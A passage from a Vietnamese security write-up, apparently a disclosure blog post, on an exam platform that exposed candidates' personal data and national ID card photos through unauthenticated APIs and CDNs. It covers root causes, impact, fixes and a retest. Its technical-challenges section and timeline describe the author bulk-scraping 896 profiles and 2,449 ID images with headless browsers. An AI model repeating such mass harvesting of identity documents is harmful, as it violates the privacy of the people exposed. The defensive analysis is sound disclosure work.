      <td>C1 Tiếng Anh, Trung, Nhật, Hàn</td>
    </tr>
    <tr>
      <td>Tháng 5/2025</td>
      <td>1</td>
      <td>Bài thi Trường Đại học X Test</td>
    </tr>
    <tr>
      <td>Tháng 6/2025</td>
      <td>6</td>
      <td>NN2 SĐH (Ngoại ngữ 2 - Sau đại học)</td>
    </tr>
    <tr>
      <td>Tháng 10/2025</td>
      <td>4</td>
      <td>Tiếng Anh, Trung, Nhật, Hàn</td>
    </tr>
    <tr>
      <td>Tháng 1/2026</td>
      <td>9</td>
      <td>Các ca thi Sáng/Chiều (nhiều ngày)</td>
    </tr>
    <tr>
      <td>Tháng 2/2026</td>
      <td>4</td>
      <td>Các ca thi Sáng/Chiều</td>
    </tr>
    <tr>
      <td><strong>Tổng cộng</strong></td>
      <td><strong>32</strong></td>
      <td>Giai đoạn: T9/2024 – T2/2026</td>
    </tr>
  </tbody>
</table>

<h2 id="8-phân-tích-nguyên-nhân-gốc-rễ">8. Phân tích Nguyên nhân Gốc rễ</h2>

<h3 id="81-lỗi-kiến-trúc-trong-nền-tảng-connections">8.1. Lỗi Kiến trúc trong Nền tảng Connections</h3>

<p>Việc lộ dữ liệu bắt nguồn từ những quyết định thiết kế kiến trúc cơ bản trong nền tảng Connections của Công ty Y:</p>

<ol>
  <li>
    <p><strong>Không có Tầng Xác thực API</strong>: Các điểm cuối API XHR tại <code class="language-plaintext highlighter-rouge">xhr.companyy.com</code> và <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code> chấp nhận yêu cầu từ bất kỳ ngữ cảnh thực thi JavaScript nào. Không có token, cookie phiên, hay kiểm tra API key nào.</p>
  </li>
  <li>
    <p><strong>Không có Kiểm soát Truy cập Cấp trường</strong>: API trả về <strong>toàn bộ các trường</strong> cho bất kỳ đối tượng nào được yêu cầu. Một người dùng truy cập trang công khai để xem lịch thi sẽ nhận được toàn bộ dữ liệu giống hệt như một quản trị viên đang xem số CCCD và ảnh thẻ căn cước.</p>
  </li>
  <li>
    <p><strong>Lỗi IDOR do Thiết kế</strong>: ID đối tượng cơ sở dữ liệu được sử dụng trực tiếp trong URL và lời gọi API. Các mã băm bảng (table hashes) đóng vai trò định danh không cung cấp bảo mật chúng lộ rành rành trên URL và có thể khám phá dễ dàng thông qua việc duyệt khóa ngoại.</p>
  </li>
  <li>
    <p><strong>Chỉ Bảo mật ở Phía Client</strong>: Toàn bộ logic nghiệp vụ và bộ lọc dữ liệu xảy ra tại JavaScript trên trình duyệt. Máy chủ đóng vai trò như một kho dữ liệu trong suốt, không thực thi bất kỳ kiểm soát truy cập nào.</p>
  </li>
  <li>
    <p><strong>Không có Kiểm soát trên CDN</strong>: Cả CDN chứa tệp tĩnh và CDN chứa hình ảnh đều phân phối nội dung mà không cần xác thực. Khi một URL được biết (hoặc trích xuất từ trang đã render), bất kỳ HTTP client nào cũng có thể tải tệp xuống.</p>
  </li>
  <li>
    <p><strong>Không có Rate Limiting</strong>: API chấp nhận hàng trăm truy vấn tuần tự từ một client duy nhất mà không bị “bóp băng thông” (throttling), cho phép trích xuất dữ liệu hàng loạt dễ dàng.</p>
  </li>
</ol>

<h3 id="82-rủi-ro-nhà-cung-cấp-bên-thứ-ba">8.2. Rủi ro Nhà cung cấp Bên Thứ Ba</h3>

<p>Trường Đại học X đã giao phó dữ liệu nhạy cảm của thí sinh bao gồm các bức ảnh thẻ CCCD/CMND do nhà nước cấp cho nền tảng Connections của Công ty Y. Điều này tạo ra một <strong>lỗ hổng chuỗi cung ứng (supply chain vulnerability)</strong>:</p>

<ul>
  <li>Trường Đại học X có thể không hề hay biết nền tảng này hoàn toàn không có kiểm soát truy cập.</li>
  <li>Cùng một lỗi kiến trúc này khả năng cao sẽ ảnh hưởng tới <strong>tất cả các tổ chức</strong> đang sử dụng nền tảng Connections, không riêng gì Trường Đại học X.</li>
  <li>Trường Đại học X bị giới hạn khả năng tự triển khai các biện pháp kiểm soát bảo mật trên một hạ tầng không do họ vận hành.</li>
  <li>Mối quan hệ với nhà cung cấp đồng nghĩa với việc để khắc phục lỗ hổng này, Công ty Y phải thiết kế lại kiến trúc nền tảng của họ.</li>
</ul>

<h3 id="83-tại-sao-mã-hóa-trên-image-cdn-không-phải-là-bảo-mật">8.3. Tại sao Mã hóa trên Image CDN Không phải là Bảo mật</h3>

<p>Image CDN sử dụng các đường dẫn URL được mã hóa (ví dụ: <code class="language-plaintext highlighter-rouge">kt3PG1hPTgTPG1MJ.u54.L8J...</code>), điều này bề ngoài có vẻ là để cung cấp tính năng bảo mật. Tuy nhiên:</p>

<ul>
  <li>Quá trình mã hóa được thực hiện bởi client-side JavaScript, thứ mà người dùng hoàn toàn kiểm soát được.</li>
  <li>Các URL đã mã hóa được nhúng trực tiếp dưới dạng thuộc tính <code class="language-plaintext highlighter-rouge">background-image</code> của CSS trong DOM, cực kỳ dễ trích xuất.</li>
  <li>Sau khi trích xuất, các URL này không yêu cầu cookie, token, hoặc header nào để tải hình ảnh.</li>
  <li>Bất kỳ trình duyệt headless nào cũng có thể render trang của thí sinh và tự động thu thập toàn bộ các URL hình ảnh đó.</li>
</ul>

<h2 id="9-đánh-giá-tác-động">9. Đánh giá Tác động</h2>

<p>Dữ liệu bị lộ trong lỗ hổng này không chỉ là những con số “PII” trừu tượng trên giấy. Đối với 896 con người thực, đây là tất cả những gì cần thiết để đánh cắp danh tính của họ. Tại Việt Nam, ảnh CCCD được sử dụng rộng rãi để xác minh KYC (Know Your Customer - Xác minh khách hàng) tại các ngân hàng, ví điện tử như MoMo và ZaloPay, và các nhà mạng viễn thông. Một bức ảnh CCCD bị lộ về bản chất là chìa khóa vạn năng mở cửa vào đời sống tài chính của một người. Phần tiếp theo đánh giá hậu quả thực tế đối với những sinh viên và người lao động mà dữ liệu của họ đã bị phơi bày.</p>

<h3 id="91-đối-tượng-bị-ảnh-hưởng">9.1. Đối tượng Bị ảnh hưởng</h3>

<ul>
  <li><strong>896 thí sinh duy nhất</strong> đã được xác nhận từ các kỳ thi năm 2024.</li>
  <li>Cơ sở dữ liệu rất có thể chứa danh sách thí sinh từ <strong>tất cả các kỳ thi trong lịch sử</strong>, có khả năng lên đến hàng nghìn người.</li>
  <li><strong>Tất cả các thí sinh</strong> đều có toàn bộ hồ sơ PII và ảnh chụp thẻ CCCD bị truy cập được mà không cần xác thực.</li>
</ul>

<h3 id="92-mức-độ-nghiêm-trọng-sự-lộ-lọt-hình-ảnh-thẻ-cccd">9.2. Mức độ Nghiêm trọng: Sự Lộ lọt Hình ảnh thẻ CCCD</h3>

<p>Việc lộ lọt ảnh chụp thẻ CCCD/CMND nghiêm trọng hơn rất nhiều so với việc lộ thông tin cá nhân dưới dạng văn bản:</p>

<ul>
  <li><strong>Dữ liệu Sinh trắc học (Biometric data)</strong>: Hình ảnh chứa khuôn mặt của chủ thẻ, thứ có thể bị sử dụng cho các cuộc tấn công nhận diện khuôn mặt.</li>
  <li><strong>Sao chép Thẻ (Physical card replication)</strong>: Hình ảnh chất lượng cao của cả mặt trước và mặt sau cung cấp toàn bộ thông tin cần thiết để tạo ra thẻ căn cước giả.</li>
  <li><strong>Qua mặt KYC (KYC bypass)</strong>: Nhiều dịch vụ tài chính tại Việt Nam chấp nhận ảnh chụp thẻ CCCD cho quy trình xác minh KYC (Know Your Customer) - những bức ảnh này có thể bị lợi dụng để mở tài khoản ngân hàng hoặc ví điện tử lừa đảo.</li>
  <li><strong>Sự không thể hoàn tác (Irreversibility)</strong>: Khác với mật khẩu hoặc số điện thoại, một số thẻ CCCD và hình ảnh trên thẻ khi đã bị lộ thì không thể nào “đổi” được - hậu quả của nó là vĩnh viễn.</li>
</ul>

<h3 id="93-các-kịch-bản-rủi-ro">9.3. Các Kịch bản Rủi ro</h3>

<ol>
  <li><strong>Trộm cắp Danh tính Quy mô Lớn</strong>: Số thẻ CCCD + Hình ảnh + Tên đầy đủ + Ngày sinh = một bộ hồ sơ danh tính hoàn chỉnh cho 896 cá nhân.</li>
  <li><strong>Gian lận Tài chính</strong>: Ảnh thẻ CCCD có thể qua mặt hệ thống KYC tại các ngân hàng, ví điện tử (MoMo, ZaloPay, VNPay) và các sàn giao dịch tiền mã hóa.</li>
  <li><strong>Tấn công Tráo SIM (SIM Swap)</strong>: Số điện thoại + Ảnh thẻ CCCD cho phép kẻ xấu thực hiện tấn công SIM swap với các nhà mạng, dẫn đến việc chiếm quyền điều khiển tài khoản (account takeovers).</li>
  <li><strong>Tạo Deepfake</strong>: Hình ảnh khuôn mặt trích xuất từ CCCD, kết hợp với họ tên và thông tin tiểu sử, cho phép tạo ra các nội dung deepfake bằng AI phục vụ cho kỹ thuật phi kỹ thuật (social engineering).</li>
  <li><strong>Lừa đảo Nhắm mục tiêu (Targeted Phishing)</strong>: Một bộ hồ sơ trọn vẹn (Tên, Email, Điện thoại, Nơi công tác, Lịch sử thi) cho phép tạo ra các chiến dịch lừa đảo spear-phishing cực kỳ tinh vi và thuyết phục.</li>
  <li><strong>Vi phạm Pháp luật &amp; Chế tài</strong>: Chiếu theo Nghị định 13/2023/NĐ-CP về Bảo vệ dữ liệu cá nhân của Việt Nam, việc làm lộ thông tin căn cước công dân và hình ảnh sinh trắc học cấu thành vi phạm nghiêm trọng và có khả năng bị xử phạt.</li>
</ol>

<h3 id="94-xếp-hạng-mức-độ-nghiêm-trọng">9.4. Xếp hạng Mức độ Nghiêm trọng</h3>

<table>
  <thead>
    <tr>
      <th>Yếu tố</th>
      <th>Đánh giá</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Độ Phức tạp của Tấn công</td>
      <td>Thấp (Console trình duyệt + Script Python cơ bản)</td>
    </tr>
    <tr>
      <td>Yêu cầu Xác thực</td>
      <td>Không có</td>
    </tr>
    <tr>
      <td>Độ Nhạy cảm của Dữ liệu</td>
      <td><strong>Cực kỳ Nghiêm trọng</strong> (ID quốc gia + ảnh)</td>
    </tr>
    <tr>
      <td>Số lượng Người dùng bị ảnh hưởng</td>
      <td>Hơn 896 người đã xác nhận, tiềm năng lên tới hàng nghìn</td>
    </tr>
    <tr>
      <td>Khả năng Hoàn tác Dữ liệu</td>
      <td><strong>Không thể đảo ngược</strong> (Không thể thay CCCD)</td>
    </tr>
    <tr>
      <td>Mức độ Khai thác</td>
      <td>Dễ dàng (Không cần các công cụ chuyên dụng)</td>
    </tr>
    <tr>
      <td>Phạm vi Nhà cung cấp</td>
      <td>Toàn bộ khách hàng dùng chung nền tảng Connections</td>
    </tr>
    <tr>
      <td><strong>Đánh giá Tổng thể</strong></td>
      <td><strong>Mức Critical - Cực kỳ Nghiêm trọng (CVSS 9.1+)</strong></td>
    </tr>
  </tbody>
</table>

<h2 id="10-các-thách-thức-kỹ-thuật-và-giải-pháp">10. Các Thách thức Kỹ thuật và Giải pháp</h2>

<h3 id="101-render-nội-dung-động">10.1. Render Nội dung Động</h3>

<p>Trang web render tất cả dữ liệu phía client bằng JavaScript. Các request HTTP chuẩn (như <code class="language-plaintext highlighter-rouge">curl</code> hoặc <code class="language-plaintext highlighter-rouge">requests</code> trong Python) chỉ lấy về được bộ khung HTML trống.</p>

<p><strong>Giải pháp</strong>: Sử dụng Playwright với trình duyệt Chromium headless để thực thi framework JavaScript, cho phép thực hiện cả việc gọi API và trích xuất DOM.</p>

<h3 id="102-mã-nguồn-tiếng-việt">10.2. Mã nguồn Tiếng Việt</h3>

<p>Framework sử dụng các định danh tiếng Việt có dấu: <code class="language-plaintext highlighter-rouge">xửLý</code>, <code class="language-plaintext highlighter-rouge">dữLiệu</code>, <code class="language-plaintext highlighter-rouge">thuộcTính</code>, <code class="language-plaintext highlighter-rouge">đốiTượng</code>. Mặc dù đây không phải là một cách che giấu mã (obfuscation) có chủ ý, nó đòi hỏi các công cụ hỗ trợ Unicode và khiến việc pattern-matching (khớp chuỗi) khó khăn hơn đáng kể so với việc phân tích JavaScript thông thường.</p>

<h3 id="103-giải-quyết-trường-tham-chiếu">10.3. Giải quyết Trường Tham chiếu</h3>

<p>Các trường Dân tộc và Nơi sinh lưu trữ các ID tham chiếu ẩn (VD: <code class="language-plaintext highlighter-rouge">{"ậ":["146992"]}</code>) thay vì văn bản. Những tham chiếu này <strong>chỉ được giải quyết trong quá trình render trang</strong> bởi logic nội bộ của framework nếu gọi trực tiếp các API (<code class="language-plaintext highlighter-rouge">CĂN.db</code>, <code class="language-plaintext highlighter-rouge">config</code>, <code class="language-plaintext highlighter-rouge">thuộcTính.tải</code>), kết quả trả về cho các ID này luôn là <code class="language-plaintext highlighter-rouge">null</code>.</p>

<p><strong>Giải pháp</strong>: Render toàn bộ trang của từng thí sinh và trích xuất các văn bản đã được giải quyết từ DOM (VD: “4. Dân tộc: Kinh”). Tôi đã cache lại các giá trị này để tránh phải render lại trang nhiều lần.</p>

<h3 id="104-mã-hóa-url-ảnh">10.4. Mã hóa URL Ảnh</h3>

<p>Ảnh chụp CCCD được phân phối từ Image CDN với các đường dẫn URL đã được mã hóa, không thể tự xây dựng chỉ từ ID file – framework sinh ra chúng lúc runtime.</p>

<p><strong>Giải pháp</strong>: Render trang của mỗi thí sinh, trích xuất URL từ thuộc tính <code class="language-plaintext highlighter-rouge">background-image</code> trong CSS từ các thẻ <code class="language-plaintext highlighter-rouge">&lt;div&gt;</code> đang trỏ về <code class="language-plaintext highlighter-rouge">connections.vn</code>, sau đó tải ảnh xuống qua HTTP GET.</p>

<h3 id="105-xử-lý-song-song-và-an-toàn-luồng">10.5. Xử lý Song song và An toàn Luồng</h3>

<p>API đồng bộ của Playwright không đảm bảo an toàn luồng (thread-safe) trên các instance trình duyệt dùng chung.</p>

<p><strong>Giải pháp</strong>: Mỗi worker thread sẽ tự khởi chạy instance trình duyệt Playwright riêng của nó, với 2 trang (page) riêng biệt cho mỗi trình duyệt (một trang gọi API, một trang để render). Các worker được khởi động cách nhau 3 giây (staggered) để tránh hiện tượng “thundering herd” khi thiết lập session.</p>

<h3 id="106-khả-năng-phục-hồi-mạng">10.6. Khả năng Phục hồi Mạng</h3>

<p>Server của Trường Đại học X thường xuyên gặp tình trạng tải trang rất chậm (có khi mất hơn 30 giây).</p>

<p><strong>Giải pháp</strong>: Sử dụng thuật toán chờ thông minh (smart wait polling text trên DOM thay vì chờ timeout cố định), tự động thiết lập lại session khi thất bại, liên tục lưu CSV định kỳ sau mỗi 10 thí sinh, và tích hợp xử lý Ctrl+C để lưu toàn bộ dữ liệu đang thu thập trước khi ngắt ứng dụng.</p>

<h2 id="11-khuyến-nghị">11. Khuyến nghị</h2>

<h3 id="111-dành-cho-trường-đại-học-x-khắc-phục-ngay-lập-tức">11.1. Dành cho Trường Đại học X (Khắc phục Ngay lập tức)</h3>

<ol>
  <li><strong>Kiểm toán bảo mật phía Nhà cung cấp</strong>: Yêu cầu Công ty Y tiến hành đánh giá bảo mật tổng thể nền tảng Connections.</li>
  <li><strong>Gỡ bỏ ảnh chụp thẻ CCCD</strong>: Xóa toàn bộ hình ảnh thẻ CCCD đã lưu trữ khỏi nền tảng hoặc chuyển chúng sang hệ thống lưu trữ có kiểm soát truy cập nghiêm ngặt.</li>
  <li><strong>Bổ sung robots.txt / noindex</strong>: Ngăn chặn các bộ máy tìm kiếm (search engine) lập chỉ mục các trang chi tiết của thí sinh; yêu cầu Google xóa bỏ (remove) các trang hiện đã bị lưu cache.</li>
  <li><strong>Hạn chế quyền truy cập file PDF</strong>: Ẩn các danh sách thí sinh sau bước xác thực hoặc che mờ (redact) các cột chứa thông tin nhạy cảm.</li>
  <li><strong>Đánh giá các giải pháp nền tảng thay thế</strong>: Cân nhắc chuyển đổi sang một nền tảng khác có đầy đủ các biện pháp kiểm soát truy cập (Access control).</li>
</ol>

<h3 id="112-dành-cho-công-ty-y--nền-tảng-connections-khắc-phục-cấp-thiết">11.2. Dành cho Công ty Y / Nền tảng Connections (Khắc phục Cấp thiết)</h3>

<ol>
  <li><strong>Triển khai xác thực API</strong>: Mọi điểm cuối XHR đều phải yêu cầu một token phiên (session token) hợp lệ kết hợp với phân quyền kiểm soát truy cập theo vai trò (Role-based access).</li>
  <li><strong>Thêm Kiểm soát Truy cập Cấp trường</strong>: Các trường dữ liệu nhạy cảm (CCCD, Số điện thoại, tham chiếu File) phải bị giới hạn, chỉ các phiên đăng nhập quyền quản trị (admin) mới được truy cập.</li>
  <li><strong>Bảo mật Image CDN</strong>: Các URL hình ảnh phải yêu cầu kèm theo token xác thực và phải được xác thực ở phía máy chủ (server-side), không thể chỉ dựa vào việc mã hóa đường dẫn.</li>
  <li><strong>Render Server-side cho dữ liệu nhạy cảm</strong>: Dịch chuyển logic hiển thị PII lên xử lý phía server; tuyệt đối không gửi dữ liệu nhạy cảm thô ra ngoài ngữ cảnh các trang web công cộng.</li>
  <li><strong>Giới hạn tốc độ và Phát hiện Hành vi bất thường</strong>: Triển khai giới hạn truy vấn (Rate Limit) dựa trên IP và hệ thống cảnh báo khi phát hiện các mẫu tải hàng loạt.</li>
  <li><strong>Kiểm toán Bảo mật toàn bộ khách hàng</strong>: Những lỗ hổng tương tự khả năng rất cao đang ảnh hưởng tới toàn bộ các tổ chức sử dụng nền tảng Connections.</li>
</ol>

<h3 id="113-kế-hoạch-dài-hạn">11.3. Kế hoạch Dài hạn</h3>

<ol>
  <li><strong>Rà soát tính tuân thủ quy định (Compliance)</strong>: Đánh giá khả năng tuân thủ của hệ thống theo Nghị định 13/2023/NĐ-CP về Bảo vệ dữ liệu cá nhân của Việt Nam.</li>
  <li><strong>Chương trình Kiểm thử Xâm nhập (Pentest)</strong>: Thiết lập kế hoạch kiểm thử bảo mật định kỳ cho hệ thống.</li>
  <li><strong>Tối thiểu hóa Dữ liệu (Data Minimization)</strong>: Xem xét lại việc có cần thiết phải lưu giữ ảnh thẻ CCCD của công dân sau khi quy trình đối chiếu danh tính ban đầu đã hoàn tất hay không.</li>
  <li><strong>Phản ứng Sự cố (Incident Response)</strong>: Thông báo cho các thí sinh bị ảnh hưởng về vụ việc lộ lọt dữ liệu đúng theo các yêu cầu của pháp luật.</li>
</ol>

<h2 id="12-kết-luận">12. Kết luận</h2>

<p>Điều bắt đầu từ một cú tìm kiếm Google bình thường đã dẫn đến một phát hiện đáng lo ngại: toàn bộ thí sinh dự thi của một trường đại học đã bị phơi bày những dữ liệu cá nhân nhạy cảm nhất – bao gồm cả ảnh chụp căn cước công dân – ra trên internet mở. 896 người đăng ký thi năng lực ngoại ngữ với niềm tin rằng thông tin của họ sẽ được bảo quản an toàn. Thay vào đó, toàn bộ hồ sơ danh tính của họ có thể bị truy cập bởi bất kỳ ai có trình duyệt web.</p>

<p>Nguyên nhân gốc rễ không phải là một lỗi code đơn lẻ hay một sai sót cấu hình. Đây là một thất bại kiến trúc cơ bản: nhà cung cấp phần mềm đã xây dựng một hệ thống mà cơ sở dữ liệu không có ổ khóa trên cánh cửa. Nền tảng Connections đối xử với mọi người truy cập dù là sinh viên kiểm tra kết quả thi hay một người lạ trên internet đều như có quyền truy cập đầy đủ vào mọi bản ghi, mọi trường dữ liệu, và mọi tập tin đã tải lên. Không có tầng xác thực, không có kiểm soát truy cập, không có sự phân biệt giữa dữ liệu công khai và dữ liệu riêng tư.</p>

<p>Các phát hiện này mang đến 3 bài học sống còn:</p>

<ol>
  <li><strong>Rủi ro từ nhà cung cấp bên thứ ba là hoàn toàn có thật</strong>: Thuê ngoài phần mềm không có nghĩa là thuê ngoài trách nhiệm. Mọi tổ chức giao phó dữ liệu nhạy cảm cho một nền tảng SaaS phải kiểm toán kiến trúc bảo mật của nền tảng đó, chứ không chỉ đánh giá tính năng phần mềm.</li>
  <li><strong>Bảo mật phía client không phải là bảo mật</strong>: Nếu thứ duy nhất đứng giữa kẻ tấn công và cơ sở dữ liệu là JavaScript chạy trên chính trình duyệt của họ, thì bạn không có bảo mật gì cả. Kiểm soát truy cập bắt buộc phải được thực thi ở phía máy chủ.</li>
  <li><strong>Bảo mật bằng sự che đậy luôn thất bại</strong>: Các URL mã hóa, code bị làm rối (minified), và chuỗi ID dạng hash có thể làm chậm kẻ tấn công vài phút, nhưng không bao giờ thay thế được cơ chế xác thực thực sự.</li>
</ol>

<p>Đối với 896 thí sinh, thiệt hại đã xảy ra. Số CCCD, ảnh chụp căn cước, thông tin cá nhân của họ – đó là những dữ liệu không bao giờ có thể thu hồi lại được.</p>

<h2 id="13-cập-nhật-kiểm-tra-lại--ngày-23-tháng-6-2026">13. Cập nhật kiểm tra lại – Ngày 23 tháng 6, 2026</h2>

<p>Ngày 23 tháng 6 năm 2026, tôi quay lại kiểm tra toàn bộ các vector tấn công trên <code class="language-plaintext highlighter-rouge">tec.universityx.vn</code>. Công ty Y đã cập nhật mã nguồn ngay trong ngày đó (phiên bản <code class="language-plaintext highlighter-rouge">14484523062026</code>). Kết quả cho thấy tiến bộ thực sự, nhưng chưa hoàn chỉnh.</p>

<h3 id="những-gì-đã-thay-đổi">Những gì đã thay đổi</h3>

<p>Bản sửa quan trọng nhất nằm ở tầng cổng API: <strong>các endpoint XHR giờ đã thực thi xác thực phía server.</strong> Cả <code class="language-plaintext highlighter-rouge">connections.universityx.vn/xhr/</code> lẫn <code class="language-plaintext highlighter-rouge">xhr.companyy.com/xhr/</code> đều trả về HTTP 403 với <code class="language-plaintext highlighter-rouge">{"error":403,"code":"access_denied"}</code> cho các yêu cầu POST không xác thực. Đây là lần đầu tiên tôi thấy kiểm soát truy cập phía server xuất hiện trên nền tảng này.</p>

<p>Ngoài ra:</p>

<ul>
  <li><strong>Truy cập bảng tài khoản (taiKhoan) đã bị chặn.</strong> Lỗ hổng IDOR cấp tài khoản được ghi nhận trong báo cáo này không còn hoạt động; toàn bộ ID tài khoản được kiểm tra đều trả về null.</li>
  <li><strong>Mật mã b6x đã bị gỡ bỏ.</strong> Lớp mật mã thay thế đơn bảng được thêm vào như một “bản vá” sau lần công bố đầu tiên đã biến mất hoàn toàn. Dữ liệu còn lại được trả về dạng văn bản thuần thay vì bọc trong một lớp mã hóa hỏng.</li>
</ul>

<h3 id="những-gì-vẫn-còn-lỗ-hổng">Những gì vẫn còn lỗ hổng</h3>

<p>Khác với nền tảng mạng nội bộ được ghi nhận trong <a href="/blog/2026/06/13/vn-universityx-inhouse-network-leaked-J0194R">Phần 2</a>, hệ thống thi vẫn còn nhiều lỗ hổng:</p>

<p><strong>Dữ liệu thí sinh vẫn bị lộ một phần.</strong> Ít nhất một bản ghi thí sinh (#1662402) vẫn trả về dữ liệu qua API. Lớp b6x đã biến mất, nhưng bốn trường vẫn còn trong phản hồi thô:</p>

<table>
  <thead>
    <tr>
      <th>Trường</th>
      <th>Giá trị</th>
      <th>Trạng thái</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Ngày sinh</td>
      <td><code class="language-plaintext highlighter-rouge">10/12/1998</code></td>
      <td>VẪN BỊ LỘ</td>
    </tr>
    <tr>
      <td>Giới tính</td>
      <td><code class="language-plaintext highlighter-rouge">2</code></td>
      <td>VẪN BỊ LỘ</td>
    </tr>
    <tr>
      <td>Tham chiếu ảnh CCCD mặt trước</td>
      <td><code class="language-plaintext highlighter-rouge">{"i":["4296"]}</code></td>
      <td>VẪN BỊ LỘ</td>
    </tr>
    <tr>
      <td>Tham chiếu ảnh CCCD mặt sau</td>
      <td><code class="language-plaintext highlighter-rouge">{"i":["243"]}</code></td>
      <td>VẪN BỊ LỘ</td>
    </tr>
    <tr>
      <td>Họ tên</td>
      <td>–</td>
      <td>ĐÃ XÓA</td>
    </tr>
    <tr>
      <td>Số điện thoại</td>
      <td>–</td>
      <td>ĐÃ XÓA</td>
    </tr>
    <tr>
      <td>Email</td>
      <td>–</td>
      <td>ĐÃ XÓA</td>
    </tr>
    <tr>
      <td>Số CCCD</td>
      <td>–</td>
      <td>ĐÃ XÓA</td>
    </tr>
  </tbody>
</table>

<p>Các trường văn bản nhạy cảm nhất (họ tên, số điện thoại, email, số CCCD) đã được xóa sạch. Nhưng ngày sinh và ID tham chiếu ảnh vẫn còn.</p>

<p><strong>Liệt kê ID hàng loạt vẫn hoạt động.</strong> Endpoint tải hàng loạt trả về 50.403 ID thí sinh. Dù hầu hết bản ghi có vẻ đã trống hoặc bị xóa, bản thân việc liệt kê này không nên khả thi với người dùng không xác thực.</p>

<p><strong>Truy cập ảnh CDN đã bị hồi quy.</strong> Các node CDN ảnh tại <code class="language-plaintext highlighter-rouge">i0.connections.vn</code> và <code class="language-plaintext highlighter-rouge">i3.connections.vn</code> đang phản hồi HTTP 200 trở lại. Chúng đã được đánh dấu là “đã sửa” trong lần kiểm tra ngày 10 tháng 3, nghĩa là đây là hồi quy chứ không phải lỗ hổng tồn đọng. Nếu các ID tham chiếu ảnh từ bản ghi thí sinh vẫn có thể được phân giải thành URL trên CDN, thì ảnh chụp thẻ căn cước được ghi nhận trong báo cáo này có thể vẫn tải xuống được.</p>

<h3 id="bảng-điểm">Bảng điểm</h3>

<table>
  <thead>
    <tr>
      <th>Nền tảng</th>
      <th>Kiểm tra</th>
      <th>Đã sửa</th>
      <th>Còn lỗ hổng</th>
      <th>Điểm</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>tec.universityx.vn (báo cáo này)</td>
      <td>13</td>
      <td>6</td>
      <td>5</td>
      <td><strong>46% đã sửa</strong></td>
    </tr>
    <tr>
      <td>connections.universityx.vn (Phần 2)</td>
      <td>13</td>
      <td>11</td>
      <td>2</td>
      <td><strong>85% đã sửa</strong></td>
    </tr>
    <tr>
      <td>Trước đó (10 tháng 3, cả hai)</td>
      <td>10</td>
      <td>3</td>
      <td>7</td>
      <td>30% đã sửa</td>
    </tr>
  </tbody>
</table>

<h3 id="đánh-giá">Đánh giá</h3>

<p>Nhà cung cấp đã có tiến bộ thực sự. Cổng xác thực XHR là bản sửa kiến trúc đúng hướng, và việc gỡ bỏ mật mã b6x để thay bằng xóa sạch các trường nhạy cảm là cách tiếp cận tốt hơn nhiều so với che giấu. Hướng đi đang đúng.</p>

<p>Nhưng với nền tảng thi cụ thể này, công việc chưa xong. Sự hồi quy của CDN ảnh đáng lo ngại vì nó đảo ngược một bản sửa đã được xác nhận trước đó. Dữ liệu thí sinh còn sót lại, dù chỉ một phần, kết hợp với ID tham chiếu ảnh, có nghĩa là phát hiện cốt lõi của báo cáo này (lộ ảnh thẻ căn cước) có thể chưa được giải quyết triệt để. Và 50.403 ID thí sinh có thể liệt kê là một tập dữ liệu lớn hơn nhiều so với 896 thí sinh tôi ghi nhận ở đây, cho thấy phạm vi phơi bày có thể rộng hơn đánh giá ban đầu.</p>

<p>Bước tiếp theo cần xác minh là liệu các ID tham chiếu ảnh bị lộ có thể phân giải thành ảnh tải xuống được trên CDN hay không. Nếu có, phát hiện nghiêm trọng nhất trong báo cáo này vẫn còn khai thác được dù đã qua bốn tháng khắc phục.</p>

<h2 id="phụ-lục">Phụ lục</h2>

<h3 id="a-các-công-cụ-sử-dụng">A. Các Công cụ Sử dụng</h3>

<table>
  <thead>
    <tr>
      <th>Công cụ</th>
      <th>Phiên bản</th>
      <th>Mục đích sử dụng</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Python</td>
      <td>3.12</td>
      <td>Môi trường chạy script chính</td>
    </tr>
    <tr>
      <td>requests</td>
      <td>Mới nhất</td>
      <td>Giao thức HTTP để tải ảnh và PDF</td>
    </tr>
    <tr>
      <td>pdfplumber</td>
      <td>Mới nhất</td>
      <td>Trích xuất các bảng dữ liệu từ PDF</td>
    </tr>
    <tr>
      <td>Playwright</td>
      <td>Mới nhất</td>
      <td>Trình duyệt headless (Thực thi JS + Quét DOM)</td>
    </tr>
    <tr>
      <td>Chromium</td>
      <td>(Tích hợp)</td>
      <td>Engine trình duyệt dùng để render các trang</td>
    </tr>
  </tbody>
</table>

<h3 id="b-mốc-thời-gian-công-bố">B. Mốc thời gian Công bố</h3>

<table>
  <thead>
    <tr>
      <th>Ngày / Giờ</th>
      <th>Sự kiện</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>25/02/2026 13:00</td>
      <td>Phát hiện lỗ hổng qua hệ thống lập chỉ mục tìm kiếm Google</td>
    </tr>
    <tr>
      <td>25/02/2026 15:30</td>
      <td>Dịch ngược hoàn thành Framework; Lập bản đồ Schema CSDL</td>
    </tr>
    <tr>
      <td>25/02/2026 17:00</td>
      <td>Xác nhận khai thác API thành công; Truy cập được dữ liệu CCCD</td>
    </tr>
    <tr>
      <td>25/02/2026 19:30</td>
      <td>Phân tích thành công CDN hình ảnh; Tải xuống được các ảnh thẻ CCCD</td>
    </tr>
    <tr>
      <td>25/02/2026 20:00</td>
      <td>Bắt đầu phát triển công cụ tự động hóa</td>
    </tr>
    <tr>
      <td>25/02/2026 21:00</td>
      <td>Giai đoạn 1 hoàn tất: Trích xuất 896 SBD từ 32 tập PDF</td>
    </tr>
    <tr>
      <td>26/02/2026 01:30</td>
      <td>Giai đoạn 2 bắt đầu: Chạy song song API crawl (3 workers)</td>
    </tr>
    <tr>
      <td>26/02/2026 04:30</td>
      <td>Giai đoạn 2 hoàn tất: Xử lý thành công 896/896 hồ sơ</td>
    </tr>
    <tr>
      <td>26/02/2026 09:00</td>
      <td>Hoàn tất gộp dữ liệu: 2.449 hình ảnh, tổng dung lượng 223 MB</td>
    </tr>
    <tr>
      <td>26/02/2026 13:00</td>
      <td>Hoàn thiện báo cáo kỹ thuật</td>
    </tr>
    <tr>
      <td>24/03/2026</td>
      <td>Công bố báo cáo</td>
    </tr>
    <tr>
      <td>13/06/2026</td>
      <td>Phần 2 được công bố</td>
    </tr>
    <tr>
      <td>23/06/2026</td>
      <td>Kiểm tra lại: 46% đã sửa trên tec.universityx.vn, 85% trên connections.universityx.vn</td>
    </tr>
  </tbody>
</table>

